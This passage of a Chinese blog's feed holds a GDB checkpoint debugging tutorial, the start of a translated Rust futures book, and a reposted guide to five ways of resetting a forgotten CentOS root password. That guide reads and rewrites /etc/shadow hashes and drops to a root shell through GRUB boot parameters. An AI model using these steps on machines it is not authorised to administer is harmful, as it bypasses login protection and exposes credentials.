Starting program: &amp;#x2F;root&amp;#x2F;workspace&amp;#x2F;.&amp;#x2F;test

Temporary breakpoint 1, main (argc=1, argv=0x7fffffffe638) at test.c:8
8           pid = fork();
Missing separate debuginfos, use: debuginfo-install glibc-2.17-157.el7.x86_64
(gdb) n
[New process 54810]
Child
[process 54810 exited]
9           if (pid &amp;lt; 0)
Missing separate debuginfos, use: debuginfo-install glibc-2.17-157.el7.x86_64
(gdb)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;可以看到打印出了&lt;code&gt;Child&lt;&#x2F;code&gt;，证明子进程也在运行了。&lt;&#x2F;p&gt;
&lt;p&gt;在许多操作系统上，GDB能够将程序的运行状态保存为snapshot，这被称为&lt;code&gt;checkpoint&lt;&#x2F;code&gt;，后续我们就可以通过相应的命令返回到该checkpoint。&lt;&#x2F;p&gt;
&lt;p&gt;回退到一个&lt;code&gt;checkpoint&lt;&#x2F;code&gt;，会使得所有发生在该checkpoint之后的操作都会被做undo。这包括内存的修改、寄存器的修改、甚至是系统的状态（有一些限制）。事实上，类似于回到保存checkpoint的时间点。&lt;&#x2F;p&gt;
&lt;p&gt;因此，当你在单步调试程序，并且认为快接近有错误的代码点时，你就可以先保存一个checkpoint。然后，你继续进行调试，假如碰巧错过了该关键代码段，这时你就可以回退到该checkpoint并从该位置继续进行调试，而不用完全从头开始来调试整个程序。&lt;&#x2F;p&gt;
&lt;p&gt;要使用&lt;code&gt;checkpoint&#x2F;restart&lt;&#x2F;code&gt;方法来进行调试的话，需要用到如下命令：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;checkpoint&lt;&#x2F;strong&gt;: 将调试程序的当前执行状态保存为一个snapshot。本命令不携带任何参数，但是其实GDB内部对于每一个checkpoint都会指定一个整数ID，这有些类似于breakpoint ID.&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;info checkpoints&lt;&#x2F;strong&gt;: 列出当前调试session所保存的checkpoints。对于每一个checkpoint，都会有如下信息被列出&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre&gt;&lt;code&gt;Checkpoint ID
Process ID
Code Address
Source line, or label
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;restart checkpoint-id&lt;&#x2F;strong&gt;: 重新装载&lt;code&gt;checkpoint-id&lt;&#x2F;code&gt;位置的程序状态。所有的程序变量、寄存器、栈帧等都会被恢复为在保存该checkpoint时的状态。实际上，GDB类似于将时间拨回到保存该checkpoint的时间点。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;注意，对于breakpoints、GDB variables、command history等，在执行恢复到某个checkpoint时并不会受到影响。一般来说，checkpoint只存储调试程序的信息，而并不存储调试器本身的信息。&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;delete checkpoint checkpoint-id&lt;&#x2F;strong&gt;: 删除以前保存的某个checkpoint&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;返回到前一个保存的checkpoint时，将会恢复该调试程序的用户状态，也会恢复一部分的操作系统状态，包括文件指针。恢复时，并不会对一个文件中的数据执行&lt;code&gt;un-write&lt;&#x2F;code&gt;操作，但是会将文件指针恢复到原来的位置，因此之前所写的数据可以被&lt;code&gt;overwritten&lt;&#x2F;code&gt;。对于那些以读模式打开的文件，文件指针将会恢复到原来所读的位置。&lt;&#x2F;p&gt;
&lt;p&gt;当然，对于那些已经发送到打印机（或其他外部设备）的字符将不能够&lt;code&gt;snatched back&lt;&#x2F;code&gt;，而对于从外部设备（例如串口设备）接收到字符则从内部程序缓冲中移除，但是并不能&lt;code&gt;push back&lt;&#x2F;code&gt;回串行设备的pipeline中。相似的，对于文件的数据发生了实质性的更改这一情况，也是不能进行恢复。&lt;&#x2F;p&gt;
&lt;p&gt;然而，即使有上面的这些限制，你还是可以返回到checkpoint处开始进行调试，此时可能还可以调试一条不同的执行路径。&lt;&#x2F;p&gt;
&lt;p&gt;最后，当你回退到checkpoint时，程序会回退到上次保存时的状态，但是进程ID会发生改变。每一个checkpoint都会有一个唯一的进程ID，并且会与原来程序的进程ID不同。假如你所调试的程序在本地保存了进程ID的话，则可能会出现一些潜在的问题。&lt;&#x2F;p&gt;
&lt;p&gt;在有一些系统上，比如GNU&#x2F;Linux，通常情况下由于安全原因每一个新进程的地址空间都是随机的。这就使得几乎不太可能在一个绝对的地址上设置一个breakpoint或者watchpoint，因为在程序下一次重启时，程序中symbol的绝对路径可能发生改变。&lt;&#x2F;p&gt;
&lt;p&gt;然而一个checkpoint，等价于一个进程拷贝。因此假如你在main的开始就创建一个checkpoint，后续返回到该checkpoint而不是重启程序，这就可以避免受到重启程序地址随机这一情况的影响。通过返回checkpoint，可以使得程序的&lt;code&gt;symbols&lt;&#x2F;code&gt;仍保持在原来的位置&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;1） 示例程序&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;string&quot; class=&quot;language-string &quot;&gt;&lt;code class=&quot;language-string&quot; data-lang=&quot;string&quot;&gt;#include &amp;lt;stdlib.h&amp;gt;
#include &amp;lt;stdio.h&amp;gt;

static int func()
{
    static int i = 0;
    ++i;

    if (i == 2) {
        return 1;
    }
    return 0;
}

static int func3()
{
    return func();
}

static int func2()
{
    return func();
}

static int func1()
{
    return func();
}

int main()
{
    int ret = 0;

    ret += func1();
    ret += func2();
    ret += func3();

    return ret;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;2) 调试技巧&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;首先采用如下的命令编译程序：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;# gcc -g -c test.c
# gcc -o test test.o
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;下面我们进行调试，在&lt;code&gt;ret += func1()&lt;&#x2F;code&gt;前保存一个checkpoint:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;string&quot; class=&quot;language-string &quot;&gt;&lt;code class=&quot;language-string&quot; data-lang=&quot;string&quot;&gt;# gdb -q .&amp;#x2F;test
Reading symbols from &amp;#x2F;root&amp;#x2F;workspace&amp;#x2F;test...done.
(gdb) start
Temporary breakpoint 1 at 0x400551: file test.c, line 32.
Starting program: &amp;#x2F;root&amp;#x2F;workspace&amp;#x2F;.&amp;#x2F;test

Temporary breakpoint 1, main () at test.c:32
32          int ret = 0;
Missing separate debuginfos, use: debuginfo-install glibc-2.17-157.el7.x86_64
(gdb) n
34          ret += func1();
(gdb) checkpoint
checkpoint: fork returned pid 68595.
(gdb) info checkpoints
  1 process 68595 at 0x400558, file test.c, line 34
* 0 process 68591 (main process) at 0x400558, file test.c, line 34
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;然后使用&lt;code&gt;next&lt;&#x2F;code&gt;步进，并每次调用完毕，打印ret的值：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;string&quot; class=&quot;language-string &quot;&gt;&lt;code class=&quot;language-string&quot; data-lang=&quot;string&quot;&gt;(gdb) n
35          ret += func2();
(gdb) p ret
$1 = 0
(gdb) n
36          ret += func3();
(gdb) p ret
$2 = 1
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;结果发现，在调用&lt;code&gt;func2()&lt;&#x2F;code&gt;后，ret的值变为了1。可是此时，我们已经错过了调试&lt;code&gt;fun2()&lt;&#x2F;code&gt;的机会。如果没有&lt;code&gt;checkpoint&lt;&#x2F;code&gt;，就需要再次从头调试了。对于这个问题从头调试很容易，但是对于很难复现的bug可能就会比较困难了。&lt;&#x2F;p&gt;
&lt;p&gt;下面我们使用checkpoint恢复：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;string&quot; class=&quot;language-string &quot;&gt;&lt;code class=&quot;language-string&quot; data-lang=&quot;string&quot;&gt;(gdb) info checkpoints
  1 process 68595 at 0x400558, file test.c, line 34
* 0 process 68591 (main process) at 0x400572, file test.c, line 36
(gdb) restart 1
Switching to process 68595
#0  main () at test.c:34
34          ret += func1();
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;上面我们看到，GDB恢复到了保存checkpoint时的状态了。上面&lt;code&gt;restart 1&lt;&#x2F;code&gt;中1为checkpoint的ID号。&lt;&#x2F;p&gt;
&lt;p&gt;从上面我们看出checkpoint的用法很简单，但是很有用。就是在平时的简单的bug修复中，也可以加快我们的调试速度，毕竟减少了不必要的重现bug的时间。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;[参看]&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;http:&#x2F;&#x2F;moss.cs.iit.edu&#x2F;cs351&#x2F;gdb-inferiors.html&quot;&gt;GDB Inferior Tutorial&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;blog.csdn.net&#x2F;snow_5288&#x2F;article&#x2F;details&#x2F;72982594&quot;&gt;gdb调试多进程与多线程&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.kancloud.cn&#x2F;wizardforcel&#x2F;gdb-tips-100&#x2F;146771&quot;&gt;100个gdb小技巧&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;http:&#x2F;&#x2F;blog.jobbole.com&#x2F;107759&#x2F;&quot;&gt;gdb 调试入门，大牛写的高质量指南&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;http:&#x2F;&#x2F;blog.chinaunix.net&#x2F;uid-23629988-id-2943273.html&quot;&gt;GDB技巧：使用checkpoint解决难以复现的Bug&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>五方法破解Linux（CentOS7.4）系统的root密码-腾讯云开发者社区-腾讯云</title>
        <published>2024-04-12T00:00:00+00:00</published>
        <updated>2024-04-12T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/五方法破解linux-centos7.4-系统的root密码-腾讯云开发者社区-腾讯云/"/>
        <id>https://vercel.juzhong.asia/obsidian/五方法破解linux-centos7.4-系统的root密码-腾讯云开发者社区-腾讯云/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/五方法破解linux-centos7.4-系统的root密码-腾讯云开发者社区-腾讯云/">&lt;h1 id=&quot;wu-fang-fa-po-jie-linux-centos7-4-xi-tong-de-rootmi-ma-teng-xun-yun-kai-fa-zhe-she-qu-teng-xun-yun&quot;&gt;五方法破解Linux（CentOS7.4）系统的root密码-腾讯云开发者社区-腾讯云&lt;&#x2F;h1&gt;
&lt;h5 id=&quot;yi-qian-yan&quot;&gt;一、前言&lt;&#x2F;h5&gt;
&lt;p&gt;作为站在系统顶端的那个人，偶尔也会发生忘记root密码这样的情况，对于老司机来说，这根本不用慌，有很多种办法搞定！当然，我在此所说的情况仅限于能看到启动界面能够编辑&lt;strong&gt;grub&lt;&#x2F;strong&gt;配置的情况或者能够挂载系统光盘进行修复的情况。其他场景并不是适用。想通过阅读本文，然后破解其他远程主机的小伙伴们在此可以绕道了，此文并不适用。&lt;&#x2F;p&gt;
&lt;h5 id=&quot;er-cao-zuo-si-lu-huo-bu-zou&quot;&gt;二、操作思路或步骤&lt;&#x2F;h5&gt;
&lt;h6 id=&quot;yi-fang-an-yi-si-lu-zhi-jie-shao-si-lu-ji-zhong-dian-ming-ling-bu-xiang-xi-jie-tu-yan-shi-cao-zuo-bu-zou&quot;&gt;(一)方案一思路（只介绍思路及重点命令，不详细截图演示操作步骤）&lt;&#x2F;h6&gt;
&lt;h6 id=&quot;1-ba-xi-tong-pan-fang-ru-guang-qu-she-zhi-guang-qu-yin-dao-qi-dong&quot;&gt;1.把系统盘放入光驱，设置光驱引导启动。&lt;&#x2F;h6&gt;
&lt;h6 id=&quot;2-jin-ru-jiu-ji-mo-shi-ba-yuan-xi-tong-gen-mu-lu-suo-zai-de-fen-qu-gua-zai-dao-dang-qian-xi-tong-de-mou-yi-mu-lu-xia-huo-zhe-zhi-jie-xuan-1de-continuezi-dong-gua-zai&quot;&gt;2.进入救急模式，把原系统根目录所在的分区挂载到当前系统的某一目录下或者直接选1的continue自动挂载。&lt;&#x2F;h6&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;centos-root-reset&#x2F;centos-rescue-root-mount.png&quot; alt=&quot;image&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;image&lt;&#x2F;p&gt;
&lt;h6 id=&quot;3-an-zhao-yi-xia-bu-zou-jin-xing-cao-zuo&quot;&gt;3.按照以下步骤进行操作。&lt;&#x2F;h6&gt;
&lt;p&gt;在已知密码的主机上执行：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;[root@ChatDevOps ~]# awk -F &amp;quot;:&amp;quot; &amp;#x27;NR==1{print $2}&amp;#x27; &amp;#x2F;etc&amp;#x2F;shadow
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;将已知密码主机终端输出内容粘贴到忘记密码的主机上，关键命令如下（将变量$2内容替换成已知密码主机屏幕显示内容）：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;[root@ChatDevOps ~]# awk -F &amp;quot;:&amp;quot;  &amp;#x27;{if(NR==1){$2=&amp;quot;$6$0gOE0PHa$FO.D&amp;quot;;}print $0}&amp;#x27; &amp;#x2F;etc&amp;#x2F;shadow&amp;gt;shadow
[root@ChatDevOps ~]# sed -i &amp;#x27;1s&amp;#x2F; &amp;#x2F;:&amp;#x2F;g&amp;#x27; shadow
[root@ChatDevOps ~]# chmod 000 shadow
[root@ChatDevOps ~]# mv shadow &amp;#x2F;etc&amp;#x2F;shadow
mv：是否覆盖&amp;quot;&amp;#x2F;etc&amp;#x2F;shadow&amp;quot;？ y
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;此种情况只适用于已经开启密码投射的情况，开启和关闭密码投射的命令分别如下：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;[root@ChatDevOps ~]# pwconv
[root@ChatDevOps ~]# pwunconv
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;如果没有开启密码投射也不用惊慌，同样的思路，只不过密码存放的文件变成了&#x2F;etc&#x2F;passwd而已。大家都看懂了吗？&lt;&#x2F;p&gt;
&lt;h6 id=&quot;er-fang-an-er-si-lu&quot;&gt;（二）方案二思路&lt;&#x2F;h6&gt;
&lt;h6 id=&quot;1-zai-fang-an-yi-de-ji-chu-shang-jin-xing-cao-zuo-ben-lai-xiang-he-fang-an-yi-he-bing-de-kao-lu-dao-he-bing-zhi-hou-xian-de-hen-hun-luan-jiu-dan-du-xie-liao&quot;&gt;1.在方案一的基础上进行操作，本来想和方案一合并的，考虑到合并之后显得很混乱，就单独写了。&lt;&#x2F;h6&gt;
&lt;h6 id=&quot;2-fen-qu-gua-zai-zhi-hou-zhi-jie-ba-mnt-sysimage-etc-shadowwen-jian-li-mian-de-di-yi-ge-hou-mian-de-nei-rong-zhi-jie-shan-chu&quot;&gt;2.分区挂载之后，直接把&#x2F;mnt&#x2F;sysimage&#x2F;etc&#x2F;shadow文件里面的第一个“：”后面的内容直接删除。&lt;&#x2F;h6&gt;
&lt;p&gt;在这一步需要注意的是：shadow的权限，在删除文字内容之前需要对该文件加读写权限，编辑完shadow文件之后保存以后去掉新加的权限。完成之后正常启动即可，系统启动之后无需输入密码，直接登录，登录进去之后passwd命令修改密码即可。非常方便！重点命令可参考方案四。&lt;&#x2F;p&gt;
&lt;h6 id=&quot;san-fang-an-san-cao-zuo-bu-zou&quot;&gt;（三）方案三操作步骤&lt;&#x2F;h6&gt;
&lt;h6 id=&quot;1-bian-ji-grub2&quot;&gt;1.编辑GRUB2。&lt;&#x2F;h6&gt;
&lt;p&gt;正常开启系统，内核选择界面即GRUB2引导界面，按e键，光标上下移动，找到以linux16开头的这一行，按下键盘上的End键，直接跳至这一行的末尾，再按下空格键，输入：\rd.break，别忘了这里的反斜杠，完成后按下Ctrl+X进入命令行界面，此时屏幕显示：switch_root:&#x2F;#。&lt;&#x2F;p&gt;
&lt;h6 id=&quot;2-zhong-xin-gua-zai-yuan-xi-tong-wen-jian-bing-chrootdao-yuan-xi-tong-gen-mu-lu-xia&quot;&gt;2.重新挂载原系统文件，并chroot到原系统根目录下。&lt;&#x2F;h6&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;switch_root:&amp;#x2F;# mount -o remount,rw &amp;#x2F;sysroot
switch_root:&amp;#x2F;# chroot &amp;#x2F;sysroot
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h6 id=&quot;3-xiu-gai-mi-ma&quot;&gt;3.修改密码。&lt;&#x2F;h6&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;sh-4.2# passwd root
sh-4.2# touch &amp;#x2F;.autorelabel
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h6 id=&quot;4-ctrl-dtui-chu-rebootxi-tong-shi-yong-xin-mi-ma-deng-lu-ji-ke&quot;&gt;4.Ctrl+D退出，reboot系统，使用新密码登录即可。&lt;&#x2F;h6&gt;
&lt;h6 id=&quot;si-fang-an-si-si-lu-ji-yao-dian&quot;&gt;(四)方案四思路及要点&lt;&#x2F;h6&gt;
&lt;h6 id=&quot;1-qian-yi-er-bu-cao-zuo-gen-fang-an-san-yi-mo-yi-yang&quot;&gt;1.前一二步操作跟方案三一模一样。&lt;&#x2F;h6&gt;
&lt;h6 id=&quot;2-shan-chu-etc-shadowwen-jian-rootmi-ma-bu-fen-nei-rong-xu-jin-shen-cao-zuo-ci-bu-zou-ju-ti-cao-zuo-guo-cheng-gen-fang-an-er-yi-zhi-zhu-yao-ming-ling-ru-xia&quot;&gt;2.删除&#x2F;etc&#x2F;shadow文件root密码部分内容，需谨慎操作。此步骤具体操作过程跟方案二一致，主要命令如下：&lt;&#x2F;h6&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;sh-4.2# chmod u+rw &amp;#x2F;etc&amp;#x2F;shadow
sh-4.2# awk -F &amp;quot;:&amp;quot; &amp;#x27;NR==1{$2=&amp;quot;&amp;quot;;print $0}&amp;#x27; &amp;#x2F;etc&amp;#x2F;shadow&amp;gt;shadow.txt
sh-4.2# sed -i &amp;#x27;1s&amp;#x2F; &amp;#x2F;:&amp;#x2F;g&amp;#x27; shadow.txt
sh-4.2# sed -i 1d &amp;#x2F;etc&amp;#x2F;shadow
sh-4.2# cat shadow.txt &amp;gt;&amp;gt;&amp;#x2F;etc&amp;#x2F;shadow
sh-4.2# rm -rf shadow.txt
sh-4.2# chmod u-rw &amp;#x2F;etc&amp;#x2F;shadow
sh-4.2# touch &amp;#x2F;.autorelabel
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;touch &#x2F;.autorelabel这一步是非常关键的，如果缺少这一步，删除root密码也是没有用的，亲测不坑！&lt;&#x2F;p&gt;
&lt;h6 id=&quot;3-ctrl-dtui-chu-rebootxi-tong-shu-ru-rootzhang-hao-zhi-hou-hui-che-jian-wu-xu-shu-ru-mi-ma-ji-ke-deng-lu-deng-lu-zhi-hou-xiu-gai-mi-ma&quot;&gt;3.Ctrl+D退出，reboot系统，输入root账号之后回车键无需输入密码即可登录，登录之后修改密码。&lt;&#x2F;h6&gt;
&lt;h6 id=&quot;wu-fang-an-wu-si-lu-ji-yao-dian&quot;&gt;(五)方案五思路及要点&lt;&#x2F;h6&gt;
&lt;h6 id=&quot;1-bian-ji-grub&quot;&gt;1.编辑GRUB。&lt;&#x2F;h6&gt;
&lt;p&gt;正常开启系统，内核选择界面即GRUB2引导界面，按e键，光标上下移动，找到以linux16开头的这一行，按下键盘上的End键，直接跳至这一行的末尾，再按下空格键，输入：\rw init=sysroot&#x2F;bin&#x2F;sh，别忘了这里的反斜杠，完成后按下Ctrl+X进入命令行界面，依次输入以下内容：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;:&amp;#x2F;# chroot &amp;#x2F;sysroot
:&amp;#x2F;# passwd
:&amp;#x2F;# touch .autorelabel
:&amp;#x2F;# exit
:&amp;#x2F;# reboot
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这一步的relabel也是必不可少的一项操作，切记！&lt;&#x2F;p&gt;
&lt;h6 id=&quot;2-zheng-chang-zhong-qi-xi-tong-yong-xin-mi-ma-ji-ke-jin-ru-xi-tong&quot;&gt;2.正常重启系统用新密码即可进入系统。&lt;&#x2F;h6&gt;
&lt;h6 id=&quot;san-zong-jie&quot;&gt;三、总结&lt;&#x2F;h6&gt;
&lt;p&gt;1.还记得之前的安全加固中我把给grub2加密列为可选项吗？看完这篇文章我相信大家一定会有新的感悟。BIOS设置光盘引导是不是可以直接跳过？那么是不是应该给BIOS设置密码？其实这些都是浮云啦，管理是需要成本的，并没有多少人能够看到系统的引导过程。像我们公司，使用的&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;cloud.tencent.com&#x2F;solution&#x2F;privatecloud?from_column=20065&amp;amp;from=20065&quot;&gt;私有云&lt;&#x2F;a&gt;，平时能接触到grub2几BIOS的也就我自己或者我的领导，这时候管理制度就很关键了。&lt;&#x2F;p&gt;
&lt;p&gt;2.方案一和二是我自己摸索出来的，方案三貌似RHCSA认证第一道题就这样的，网上基本都是这种思路，在方案三的基础上，我又发散了一下思维，总结出方案四。不知道大家是否都看懂了？&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>Futures Explained in 200 Lines of Rust（Rust Future 系列合集）</title>
        <published>2024-04-11T00:00:00+00:00</published>
        <updated>2024-04-13T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/futures-explained-in-200-lines-of-rust-rust-future-系列合集/"/>
        <id>https://vercel.juzhong.asia/obsidian/futures-explained-in-200-lines-of-rust-rust-future-系列合集/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/futures-explained-in-200-lines-of-rust-rust-future-系列合集/">&lt;h3 id=&quot;yin-yan&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;stevenbai.top&#x2F;books-futures-explained&#x2F;book&#x2F;introduction.html#%E5%BC%95%E8%A8%80&quot;&gt;引言&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;本书&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;nkbai&#x2F;books-futures-explained&quot;&gt;github地址&lt;&#x2F;a&gt; 欢迎star,以及提出任何问题&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;cfsamson.github.io&#x2F;books-futures-explained&#x2F;&quot;&gt;原书地址&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;这本书的目的是用一个例子驱动的方法来解释Rust中的Futures，探索为什么他们被设计成这样，以及他们如何工作。 我们还将介绍在编程中处理并发性时的一些替代方案。&lt;&#x2F;p&gt;
&lt;p&gt;理解这本书中描述的细节， 不需要使用Rust中的 futures或async&#x2F;await。 这是为那些好奇的人准备的，他们想知道这一切是如何运作的。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;zhe-ben-shu-han-gai-de-nei-rong&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;stevenbai.top&#x2F;books-futures-explained&#x2F;book&#x2F;introduction.html#%E8%BF%99%E6%9C%AC%E4%B9%A6%E6%B6%B5%E7%9B%96%E7%9A%84%E5%86%85%E5%AE%B9&quot;&gt;这本书涵盖的内容&lt;&#x2F;a&gt;&lt;&#x2F;h4&gt;
&lt;p&gt;这本书将试图解释你可能想知道的一切，包括不同类型的执行器(executor)和运行时(runtime)的主题。 我们将在本书中实现一个非常简单的运行时，介绍一些概念，但这已经足够开始了。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;stjepang&quot;&gt;Stjepan Glavina&lt;&#x2F;a&gt; 发表了一系列关于异步运行时和执行器的优秀文章，如果谣言属实，那么在不久的将来他会发表更多的文章。&lt;&#x2F;p&gt;
&lt;p&gt;你应该做的是先读这本书，然后继续阅读 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;stjepang.github.io&#x2F;&quot;&gt;stejpang 的文章&lt;&#x2F;a&gt;，了解更多关于运行时以及它们是如何工作的，特别是:&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;stjepang.github.io&#x2F;2020&#x2F;01&#x2F;25&#x2F;build-your-own-block-on.html&quot;&gt;构建自的block_on&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;stjepang.github.io&#x2F;2020&#x2F;01&#x2F;31&#x2F;build-your-own-executor.html&quot;&gt;构建自己的executor&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;我将自己限制在一个200行的主示例(因此才有了这个标题)中，以限制范围并介绍一个可以轻松进一步研究的示例。&lt;&#x2F;p&gt;
&lt;p&gt;然而，有很多东西需要消化，这并不像我所说的那么简单，但是我们会一步一步来，所以喝杯茶，放松一下。&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;这本书是在开放的，并欢迎贡献。 你可以在&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;cfsamson&#x2F;books-futures-explained&quot;&gt;这里找到这本书&lt;&#x2F;a&gt;。 最后的例子，你可以&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;cfsamson&#x2F;examples-futures&quot;&gt;克隆或复制&lt;&#x2F;a&gt;可以在这里找到。 任何建议或改进可以归档为一个公关或在问题追踪的书。 一如既往，我们欢迎各种各样的反馈。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h4 id=&quot;yue-du-lian-xi-he-jin-yi-bu-yue-du&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;stevenbai.top&#x2F;books-futures-explained&#x2F;book&#x2F;introduction.html#%E9%98%85%E8%AF%BB%E7%BB%83%E4%B9%A0%E5%92%8C%E8%BF%9B%E4%B8%80%E6%AD%A5%E9%98%85%E8%AF%BB&quot;&gt;阅读练习和进一步阅读&lt;&#x2F;a&gt;&lt;&#x2F;h4&gt;
&lt;p&gt;在&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;stevenbai.top&#x2F;books-futures-explained&#x2F;book&#x2F;introduction.html#%E7%BB%93%E8%AE%BA%E5%92%8C%E7%BB%83%E4%B9%A0&quot;&gt;最后一章&lt;&#x2F;a&gt;)中，我冒昧地提出了一些小练习，如果你想进一步探索的话。&lt;&#x2F;p&gt;
&lt;p&gt;这本书也是我在 Rust 中写的关于并发编程的第四本书。 如果你喜欢它，你可能也想看看其他的:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;cfsamson.gitbook.io&#x2F;green-threads-explained-in-200-lines-of-rust&#x2F;&quot;&gt;Green Threads Explained in 200 lines of rust&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
